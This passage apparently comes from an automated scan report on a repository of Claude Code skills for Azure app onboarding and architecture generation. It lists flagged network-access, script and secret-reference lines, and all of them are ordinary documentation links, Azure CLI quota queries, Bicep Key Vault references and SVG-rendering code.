    | App Service Troubleshooting | https://learn.microsoft.com/en-us/troubleshoot/azure/app-service/ | Startup crashes, Kudu/Oryx build failures, health probe issues |
  • Network accessline 38
    | App Service Zip Deploy Guide | https://learn.microsoft.com/en-us/azure/app-service/deploy-zip | Zip deploy, SCM_DO_BUILD_DURING_DEPLOYMENT, Kudu publish API | | Container Apps Troubleshooting | https://learn.microsoft.com/en-us/azure/cont
  • Network accessline 39
    | Container Apps Troubleshooting | https://learn.microsoft.com/en-us/azure/container-apps/troubleshooting | Revision failures, ingress errors, secret resolution, image pull failures |
  • Network accessline 40
    | Quota Increase Portal | https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas | Direct link for quota increase requests |

harness/claude-code/skills/azure-app-onboard/references/mcp-tool-reference.md

  • Network accessline 5
    > **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs for current parameter names and allowed values: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tool
  • Network accessline 28
    > **Additional global params** (not commonly needed by AppOnboard): `authentication-method` (credential\|key\|connectionString), `max-retries` (default 3), `retry-delay` (default 2s), `retry-delay-maximum` (default 10s), `retry-mode` (fixed

harness/claude-code/skills/azure-app-onboard/references/phases/deploy.md

  • Network accessline 43
    | 4 | **Deploy approval gate** | Present cost + resource summary per `deploy-checklist.md` § Deploy approval gate format. | — | — | | 5b | **Write deploy-result.json skeleton** | ⛔ Read [`deploy-schemas.ts`](../deploy/deploy-schemas.ts), wr
  • Network accessline 44
    | 5b | **Write deploy-result.json skeleton** | ⛔ Read [`deploy-schemas.ts`](../deploy/deploy-schemas.ts), write skeleton (`status: "in-progress"`). Must exist BEFORE first `az` command. | `deploy-result.json` | ⛔ **You MUST read [`deploy-sc
  • Network accessline 45
    | 6 | **Execute deployment** | ⛔ **BEFORE `az deployment sub create`:** Generate portal link — `$dn="{deploymentName}"; $r="/subscriptions/{subId}/providers/Microsoft.Resources/deployments/$dn"; $l="https://portal.azure.com/#view/Microsoft_

harness/claude-code/skills/azure-app-onboard/references/prepare/mcp-tools.md

  • Network accessline 5
    > **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>

harness/claude-code/skills/azure-app-onboard/references/prepare/naming-patterns.md

  • Network accessline 5
    > **Reference:** [Azure naming conventions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/resource-naming) — link, don't duplicate. Check docs for updates.

harness/claude-code/skills/azure-app-onboard/references/prepare/prepare-schemas.ts

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/azure-app-onboard/references/prepare/pricing-guide-services.md

  • Network accessline 197
    **Not in the Retail Prices API.** Fixed pricing — query [azure.microsoft.com/pricing/details/app-service/static](https://azure.microsoft.com/en-us/pricing/details/app-service/static/):

harness/claude-code/skills/azure-app-onboard/references/prepare/pricing-guide.md

  • Network accessline 66
    When `pricing_get` returns empty: (1) Check `armSkuName` populated/case-sensitive? (2) HTTP fallback: `https://prices.azure.com/api/retail/prices?$filter={filter}`. (3) After 2 failures, use [pricing-guide-services.md](pricing-guide-service

harness/claude-code/skills/azure-app-onboard/references/prepare/sku-quota-validation.md

  • Network accessline 35
    $sub = '{subscriptionId}'; $sku = '{sku}' @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object {   $limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/
  • Network accessline 36
    @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object {   $limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/quotas/$sku?api-version=20
  • Network accessline 37
    $limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/quotas/$sku?api-version=2023-02-01" --query "properties.limit.value" -o tsv 2>$null
  • Network accessline 38
    $used  = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/usages/$sku?api-version=2023-02-01" --query "properties.usages.value" -o tsv 2>$null
  • Network accessline 48
    az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.App/locations/{region}/usages?api-version=2024-03-01" --query "value[?name.value=='ManagedEnvironmentCount'].{used:currentValue, limit:limit}" -
  • Network accessline 86
    $sub = '{subscriptionId}'; $provider = 'Microsoft.DBforPostgreSQL'; $apiVer = '2022-12-01' @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object {   $result = az rest --method get --url "https://management.azure.com/subscriptions/$s
  • Network accessline 87
    @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object {   $result = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/$provider/locations/$_/capabilities?api-version=$apiVer" --query "value[0].sup
  • Network accessline 88
    $result = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/$provider/locations/$_/capabilities?api-version=$apiVer" --query "value[0].supportedFlexibleServerEditions[0].name" -o tsv 2>$null

harness/claude-code/skills/azure-app-onboard/references/prepare/subagent-pricing.md

  • Network accessline 42
    - ⛔ **Do NOT invoke ANY skills** — no `{"skill": "azure-validate"}`, `{"skill": "azure-prepare"}`, or any other skill call. You are a pricing subagent only. Use direct HTTP to `https://prices.azure.com/api/retail/prices` for price queries (
  • Network accessline 45
    - ⛔ For services with empty `armSkuName` (Container Apps, Functions Consumption, ACR, Storage, Cosmos, Key Vault): use `filter`/`meterName` matching — a `sku` filter returns `[]` - ⛔ **Monthly multiplier = each meter's `unitOfMeasure`** (`1
  • Network accessline 46
    - ⛔ **Monthly multiplier = each meter's `unitOfMeasure`** (`1 Hour`→×730, `1/Day`→×30 [ACR/registry, SQL DTU], `1 GB/Month`→×GB, `1 Second`→usage) — NEVER blanket ×730; applying ×730 to a `1/Day` meter overstates ~24× - ⛔ Use direct HTTP to
  • Network accessline 47
    - ⛔ Use direct HTTP to `https://prices.azure.com/api/retail/prices` for all price lookups. Do NOT use `mcp_azure_mcp_pricing` — it was already tried inline and failed.

harness/claude-code/skills/azure-app-onboard/references/prepare/validation-rubric.md

  • Network accessline 8
    |-----------|---------------| | **Goal Alignment** | Every `context.json.intent` field reflected in service/SKU choice. No orphaned services (every service maps to a component or supporting role). `overrides[]` honored. | | **WAF Alignment*
  • Network accessline 9
    | **Goal Alignment** | Every `context.json.intent` field reflected in service/SKU choice. No orphaned services (every service maps to a component or supporting role). `overrides[]` honored. | | **WAF Alignment** | **Cost:** SKU matches budg
  • Network accessline 10
    | **WAF Alignment** | **Cost:** SKU matches budget; alternatives document cost tradeoffs. **Reliability:** Production plans include zone-redundant SKUs, GRS storage. **Security:** Managed identity + Key Vault; private endpoints where budget
  • Network accessline 22
    - [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/) — pillar definitions and tradeoff guidance
  • Network accessline 23
    - [WAF Service Guides](https://learn.microsoft.com/en-us/azure/well-architected/service-guides/) — per-service WAF alignment checklists

harness/claude-code/skills/azure-app-onboard/references/scaffold/bicep-container-apps.md

  • Network accessline 116
    > ❌ **WRONG — `environment().suffixes.keyvaultDns` produces double-dot URL:** > `keyVaultUrl: 'https://${kvName}${environment().suffixes.keyvaultDns}/secrets/...'`
  • Network accessline 117
    > `keyVaultUrl: 'https://${kvName}${environment().suffixes.keyvaultDns}/secrets/...'`
  • Network accessline 133
    // ⛔ Do NOT replace vault.azure.net with environment().suffixes.keyvaultDns — it adds a leading dot → double-dot URL           #disable-next-line no-hardcoded-env-urls           keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets
  • Network accessline 134
    #disable-next-line no-hardcoded-env-urls           keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string'           identity: 'system'  // Uses the CA's system-assigned managed identity
  • Network accessline 135
    keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string'
  • Network accessline 188
    Container Apps in the same environment communicate via internal DNS: `http://{container-app-name}`. Set via env vars:
  • Network accessline 191
    env: [   { name: 'API_URL', value: 'http://${apiContainerApp.name}' }
  • Network accessline 192
    { name: 'API_URL', value: 'http://${apiContainerApp.name}' }
  • Network accessline 193
    { name: 'WORKER_URL', value: 'http://${workerContainerApp.name}' }

harness/claude-code/skills/azure-app-onboard/references/scaffold/bicep-patterns-security.md

  • Network accessline 20
    > **Source:** Adapted from Azure security best practices. See [Azure security baseline](https://learn.microsoft.com/en-us/security/benchmark/azure/overview) for updates.
  • Access to secretsline 77
    [Credential-related source omitted]
  • Network accessline 79
    > **Container Apps exception:** Phase 1 of two-phase deployment uses `secrets: []` — NO secrets at all (not plaintext, not KV). KV `secretRef` entries are activated in Phase 2 after RBAC propagates. See [bicep-container-apps.md](../scaffold
  • Network accessline 80
    > > ⛔ **Container Apps KV URL — do NOT use `environment().suffixes.keyvaultDns`.** That function returns `.vault.azure.net` (WITH leading dot) → double-dot URL → `ContainerAppSecretKeyVaultUrlInvalid`. Use `'https://${kvName}.vault.azure.ne
  • Network accessline 81
    > ⛔ **Container Apps KV URL — do NOT use `environment().suffixes.keyvaultDns`.** That function returns `.vault.azure.net` (WITH leading dot) → double-dot URL → `ContainerAppSecretKeyVaultUrlInvalid`. Use `'https://${kvName}.vault.azure.net/

harness/claude-code/skills/azure-app-onboard/references/scaffold/bicep-patterns.md

  • Network accessline 5
    > **Source:** Adapted from Azure Bicep best practices. See [Bicep best practices](https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/best-practices) for updates.
  • Network accessline 76
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 77
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",

harness/claude-code/skills/azure-app-onboard/references/scaffold/dockerfile-generation.md

  • Network accessline 59
    1. Dockerfile MUST include `ARG NEXT_PUBLIC_API_URL` before the `RUN npm run build` step 2. Deploy phase passes `--build-arg NEXT_PUBLIC_API_URL=https://{api-fqdn}` to `az acr build`
  • Network accessline 60
    2. Deploy phase passes `--build-arg NEXT_PUBLIC_API_URL=https://{api-fqdn}` to `az acr build`
  • Network accessline 62
    Detect from `.env*` files containing `NEXT_PUBLIC_*` pointing to another service (e.g., `NEXT_PUBLIC_API_URL=http://localhost:3001`).

harness/claude-code/skills/azure-app-onboard/references/scaffold/env-var-secrets.md

  • Network accessline 12
    > **Pitfalls:** `CORS_ORIGINS=["*"]` → invalid for strict validators (use actual URLs). `DATABASE_URL=changethis` → use KV ref. JSON array env vars need Bicep variable escaping: > ```bicep > var corsOrigins = '["https://${containerApp.prope
  • Network accessline 13
    > ```bicep > var corsOrigins = '["https://${containerApp.properties.configuration.ingress.fqdn}"]' > { name: 'CORS_ORIGINS', value: corsOrigins }
  • Network accessline 14
    > var corsOrigins = '["https://${containerApp.properties.configuration.ingress.fqdn}"]'
  • Network accessline 35
    {     name: 'db-connection-string'     keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string'
  • Network accessline 36
    name: 'db-connection-string'     keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string'     identity: 'system'
  • Network accessline 37
    keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string'
  • Access to secretsline 56
    [Credential-related source omitted]

harness/claude-code/skills/azure-app-onboard/references/scaffold/iac-generation-rules.md

  • Network accessline 61
    ⛔ Read [`bicep-patterns-security.md`](bicep-patterns-security.md) (or `terraform-patterns.md` § Security Defaults) and verify ALL security patterns from Step 5. If deployment includes compute with MI ↔ resource RBAC, ⛔ read [rbac-roles.md](

harness/claude-code/skills/azure-app-onboard/references/scaffold/mcp-tools.md

  • Network accessline 5
    > **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>

harness/claude-code/skills/azure-app-onboard/references/scaffold/scaffold-schemas.ts

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/azure-app-onboard/references/scaffold/self-review-checklist.md

  • Network accessline 112
    Per-pillar spot check against [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/).

harness/claude-code/skills/azure-app-onboard/references/scaffold/terraform-patterns.md

  • Access to secretsline 63
    [Credential-related source omitted]
  • Network accessline 162
    Export: `resource_group_name`, `app_url` (https://${hostname}), `resource_ids` (list of all deployed resource IDs for deploy-result.json).

harness/claude-code/skills/azure-app-onboard/references/scaffold/waf-checklist.md

  • Network accessline 5
    > **Reference:** [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/) — link, don't duplicate. See [WAF Service Guides](https://learn.microsoft.com/en-us/azure/well-architected/service-guides/) for p

harness/claude-code/skills/azure-app-onboard/references/session-schemas.ts

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/azure-app-onboard/scripts/scaffold/scaffold-conformance.ps1

  • Executable scriptline 1
    #!/usr/bin/env pwsh

harness/claude-code/skills/azure-app-onboard/scripts/scaffold/scaffold-conformance.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/skills/azure-architecture-autopilot/.gitignore

  • Access to secretsline 23
    [Credential-related source omitted]

harness/claude-code/skills/azure-architecture-autopilot/references/architecture-guidance-sources.md

  • Network accessline 32
    | ID | Document | URL | Purpose | |----|----------|-----|---------| | A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents |
  • Network accessline 33
    |----|----------|-----|---------| | A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents | | A2 | Well-Architected Framework | https://learn.microso
  • Network accessline 34
    | A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents |
  • Network accessline 35
    | A2 | Well-Architected Framework | https://learn.microsoft.com/en-us/azure/architecture/framework/ | Security/reliability/performance/cost/operations principles |
  • Network accessline 36
    | A3 | Cloud Adoption Framework / Landing Zone | https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/landing-zone/ | Enterprise governance, network topology, subscription structure |
  • Network accessline 37
    | A4 | Azure AI/ML Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/ | AI/ML workload reference architecture hub |
  • Network accessline 38
    | A5 | Basic Foundry Chat Reference Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/architecture/basic-azure-ai-foundry-chat | Basic Foundry-based chatbot structure |
  • Network accessline 39
    | A6 | Baseline AI Foundry Chat Reference Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/architecture/baseline-openai-e2e-chat | Foundry chatbot enterprise baseline (including network isolation) |
  • Network accessline 40
    | A7 | RAG Solution Design Guide | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/guide/rag/rag-solution-design-and-evaluation-guide | RAG pattern design guide |
  • Network accessline 41
    | A8 | Microsoft Fabric Overview | https://learn.microsoft.com/en-us/fabric/get-started/microsoft-fabric-overview | Fabric platform overview and workload understanding |
  • Network accessline 42
    | A9 | Fabric Governance / Adoption | https://learn.microsoft.com/en-us/power-bi/guidance/fabric-adoption-roadmap-governance | Fabric governance, adoption roadmap |
  • Network accessline 48
    | Document | URL | Notes | |----------|-----|-------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service changes/new feature announcements. Not a targeted fetch target |
  • Network accessline 50
    | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service changes/new feature announcements. Not a targeted fetch target |

harness/claude-code/skills/azure-architecture-autopilot/references/azure-dynamic-sources.md

  • Network accessline 13
    | Service | MS Docs URL | |---------|-------------| | CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts |
  • Network accessline 14
    |---------|-------------| | CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts | | AI Search | https://learn.microsoft.com/en-us/azure/templates/microsoft.search/searc
  • Network accessline 15
    | CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts |
  • Network accessline 16
    | AI Search | https://learn.microsoft.com/en-us/azure/templates/microsoft.search/searchservices |
  • Network accessline 17
    | Storage Account | https://learn.microsoft.com/en-us/azure/templates/microsoft.storage/storageaccounts |
  • Network accessline 18
    | Key Vault | https://learn.microsoft.com/en-us/azure/templates/microsoft.keyvault/vaults |
  • Network accessline 19
    | Virtual Network | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/virtualnetworks |
  • Network accessline 20
    | Private Endpoints | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/privateendpoints |
  • Network accessline 21
    | Private DNS Zones | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/privatednszones |
  • Network accessline 22
    | Fabric | https://learn.microsoft.com/en-us/azure/templates/microsoft.fabric/capacities |
  • Network accessline 23
    | Data Factory | https://learn.microsoft.com/en-us/azure/templates/microsoft.datafactory/factories |
  • Network accessline 24
    | Application Insights | https://learn.microsoft.com/en-us/azure/templates/microsoft.insights/components |
  • Network accessline 25
    | ML Workspace (Hub) | https://learn.microsoft.com/en-us/azure/templates/microsoft.machinelearningservices/workspaces |
  • Network accessline 33
    https://learn.microsoft.com/en-us/azure/templates/microsoft.{provider}/{resourceType}
  • Network accessline 42
    | Verification Method | URL / Command | |--------------------|---------------| | MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models |
  • Network accessline 43
    |--------------------|---------------| | MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models | | Azure CLI (existing resources) | `az cognitiveservices account list-models --name "<NAME>" 
  • Network accessline 44
    | MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models |
  • Network accessline 55
    | Verification Method | URL | |--------------------|-----| | PE DNS integration official docs | https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns |
  • Network accessline 57
    | PE DNS integration official docs | https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns |
  • Network accessline 67
    | Verification Method | URL | |--------------------|-----| | Azure service-by-region availability | https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/ |
  • Network accessline 69
    | Azure service-by-region availability | https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/ |
  • Network accessline 77
    | Source | URL | Purpose | |--------|-----|---------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness |
  • Network accessline 78
    |--------|-----|---------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness | | What's New in Azure | Per-service What's New pages in Docs | Feature change verification |
  • Network accessline 79
    | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness |

harness/claude-code/skills/azure-architecture-autopilot/references/bicep-generator.md

  • Network accessline 21
    **Verification Methods (in priority order): ** 1. Check the MS Docs model availability page: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models
  • Network accessline 22
    1. Check the MS Docs model availability page: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models
  • Network accessline 48
    ### Always Fetch (Dynamic)
  • Network accessline 68
    1. **Notify the user **: "This service is outside the v1 default scope. It will be generated on a best-effort basis by referencing MS Docs." 2. **Fetch API version **: Construct the URL in the format `https://learn.microsoft.com/en-us/azure
  • Network accessline 69
    2. **Fetch API version **: Construct the URL in the format `https://learn.microsoft.com/en-us/azure/templates/microsoft.{provider}/{resourceType}` and fetch
  • Network accessline 70
    3. **Identify resource type/required properties **: Confirm the resource type and required properties from the fetched Docs 4. **Verify PE mapping **: Fetch `https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns` to conf
  • Network accessline 71
    4. **Verify PE mapping **: Fetch `https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns` to confirm groupId/DNS Zone

harness/claude-code/skills/azure-architecture-autopilot/references/phase1-advisor.md

  • Network accessline 162
    - **`choices` MUST be passed as a string array (`["A", "B"]`) ** — passing as a string (`"A, B"`) will cause an error - If there is a recommended option, place it first and append `(Recommended)` at the end - Include reference information i
  • Network accessline 163
    - If there is a recommended option, place it first and append `(Recommended)` at the end - Include reference information in choices — e.g., `"Standard S1 - Recommended for production. Ref: https://{example-url}"` - **Only 1 question per cal
  • Network accessline 164
    - Include reference information in choices — e.g., `"Standard S1 - Recommended for production. Ref: https://{example-url}"`
  • Network accessline 183
    // 1. SKU question ask_user({   question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier",
  • Network accessline 184
    ask_user({   question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier",   choices: [
  • Network accessline 185
    question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier",
  • Network accessline 194
    // 2. Region question (separate call — only 1 question per call) ask_user({   question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models",
  • Network accessline 195
    ask_user({   question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models",   choices: [
  • Network accessline 196
    question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models",
  • Network accessline 325
    Write-Host "Please install using one of the following methods:" -ForegroundColor Yellow   Write-Host "  1. winget install Python.Python.3.12"   Write-Host "  2. Download from https://www.python.org/downloads/"
  • Network accessline 326
    Write-Host "  1. winget install Python.Python.3.12"   Write-Host "  2. Download from https://www.python.org/downloads/"   Write-Host "  3. Search for 'Python 3.12' in the Microsoft Store and install"
  • Network accessline 327
    Write-Host "  2. Download from https://www.python.org/downloads/"

harness/claude-code/skills/azure-architecture-autopilot/references/service-gotchas.md

  • Network accessline 59
    > > This mapping is complex and subject to change, so always fetch and verify MS Docs when configuring Monitor PE: > https://learn.microsoft.com/en-us/azure/azure-monitor/logs/private-link-configure
  • Network accessline 61
    > https://learn.microsoft.com/en-us/azure/azure-monitor/logs/private-link-configure

harness/claude-code/skills/azure-architecture-autopilot/scripts/cli.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/azure-architecture-autopilot/scripts/generator.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 528
    <title>{title}</title> <style>   @import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap');
  • Network accessline 529
    <style>   @import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap');   * {{ box-sizing: border-box; margin: 0; padding: 0; }}
  • Network accessline 530
    @import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap');
  • Network accessline 1139
    const vr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1147
    const vnetLabel = VNET_INFO ? `Virtual Network (${{VNET_INFO}})` : 'Virtual Network';       const vl = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 1148
    const vl = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 1168
    if (gb.isPE) {{       // PE group — always draw with dashed style       const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1169
    // PE group — always draw with dashed style       const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');       gr.setAttribute('x', gb.x); gr.setAttribute('y', gb.y);
  • Network accessline 1170
    const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1177
    }} else {{       // Service group (category or RG)       const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1178
    // Service group (category or RG)       const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');       gr.setAttribute('x', gb.x); gr.setAttribute('y', gb.y);
  • Network accessline 1179
    const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1190
    // Title bar     const titleBar = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1191
    const titleBar = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1196
    titleBar.setAttribute('opacity', '0.1');     root.appendChild(titleBar);     const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1197
    root.appendChild(titleBar);     const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect');     titleFill.setAttribute('x', gb.x); titleFill.setAttribute('y', gb.y + GROUP_TITLE_H - 8);
  • Network accessline 1198
    const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1204
    // Color accent line     const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1205
    const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1211
    // Group label — RG uses resource group name, PE uses "Private Endpoints", category uses category name     const label = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 1212
    const label = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 1253
    const sr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1261
    const sl = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2533
    const path = document.createElementNS('http://www.w3.org/2000/svg', 'path');
  • Network accessline 2603
    const nw = isPe ? PE_W : SVC_W;     const nh = isPe ? PE_H : SVC_H;     const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2604
    const nh = isPe ? PE_H : SVC_H;     const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');     g.setAttribute('class', 'node');
  • Network accessline 2605
    const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2610
    // Card background — full clickable area     const rect = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2611
    const rect = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2619
    // Color accent bar at top     const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2620
    const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2630
    if (node.icon_data_uri) {{       // Official Azure icon (Base64 image)       const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image');
  • Network accessline 2631
    // Official Azure icon (Base64 image)       const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image');       iconImg.setAttribute('x', iconX); iconImg.setAttribute('y', iconY);
  • Network accessline 2632
    const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image');
  • Network accessline 2633
    iconImg.setAttribute('x', iconX); iconImg.setAttribute('y', iconY);       iconImg.setAttribute('width', iconSize); iconImg.setAttribute('height', iconSize);       iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data
  • Network accessline 2634
    iconImg.setAttribute('width', iconSize); iconImg.setAttribute('height', iconSize);       iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data_uri);       g.appendChild(iconImg);
  • Network accessline 2635
    iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data_uri);
  • Network accessline 2637
    }} else {{       // Fallback: built-in SVG text icon       const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
  • Network accessline 2638
    // Fallback: built-in SVG text icon       const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg');       iconG.setAttribute('x', iconX); iconG.setAttribute('y', iconY);
  • Network accessline 2639
    const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
  • Network accessline 2647
    // Name — extra gap below icon (icon bottom ~50, name baseline at 74 → 24px breathing room)     const name = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2648
    const name = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2658
    // SKU label     if (!isPe && node.sku) {{       const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2659
    if (!isPe && node.sku) {{       const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text');       sku.setAttribute('x', nw/2); sku.setAttribute('y', 90);
  • Network accessline 2660
    const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2669
    if (isPe && node.details.length > 0) {{       const det = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2670
    const det = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2697
    }};       const typeLabel = TYPE_LABELS[node.type] || node.type;       const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2698
    const typeLabel = TYPE_LABELS[node.type] || node.type;       const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text');       cat.setAttribute('x', nw/2); cat.setAttribute('y', nh + 14);
  • Network accessline 2699
    const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2709
    // Private badge on card     if (node.private && !isPe) {{       const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2710
    if (node.private && !isPe) {{       const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g');       const br = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2711
    const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2712
    const br = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2758
    // ── Edge labels (rendered AFTER nodes — always visible on top) ──   _edgeLabels.forEach(el => {{     const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2759
